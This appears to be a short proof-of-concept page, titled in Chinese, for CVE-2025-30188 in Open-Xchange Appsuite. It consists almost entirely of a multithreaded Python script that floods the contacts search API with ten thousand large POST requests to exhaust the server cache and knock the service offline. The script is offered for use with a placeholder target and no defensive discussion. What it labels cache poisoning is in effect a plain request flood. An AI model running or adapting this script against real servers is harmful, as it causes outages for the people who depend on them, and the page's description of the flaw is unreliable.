CVE-2025-30188 Open-Xchange Appsuite 缓存投毒导致服务不可用

# CVE-2025-30188 PoC - Cache Poisoning DoS # Target: Open-Xchange Appsuite # Author: Security Researcher import requests import time import threading TARGET_URL = "https://target-server/appsuite/api/" THREAD_COUNT = 10 REQUESTS_PER_THREAD = 1000 def send_malicious_request(session, thread_id): """Send API requests to poison the cache""" headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } # Malicious payload with large data to fill cache payload = { "action": "com.openexchange.contact.search", "data": { "query": "A" * 10000, # Large data to consume cache "folder": "0", "columns": ["1", "2", "3", "4", "5"] } } for i in range(REQUESTS_PER_THREAD): try: response = session.post( TARGET_URL, json=payload, headers=headers, timeout=5 ) print(f"Thread {thread_id} - Request {i}: Status {response.status_code}") except Exception as e: print(f"Thread {thread_id} - Error: {e}") def exploit(): """Execute the cache poisoning attack""" session = requests.Session() threads = [] print("[*] Starting CVE-2025-30188 Cache Poisoning Attack") print(f"[*] Target: {TARGET_URL}") print(f"[*] Threads: {THREAD_COUNT}, Requests per thread: {REQUESTS_PER_THREAD}") start_time = time.time() for i in range(THREAD_COUNT): thread = threading.Thread(target=send_malicious_request, args=(session, i)) thread.start() threads.append(thread) for thread in threads: thread.join() elapsed = time.time() - start_time print(f"[*] Attack completed in {elapsed:.2f} seconds") print("[*] Check target availability - cache should be exhausted") if __name__ == "__main__": exploit()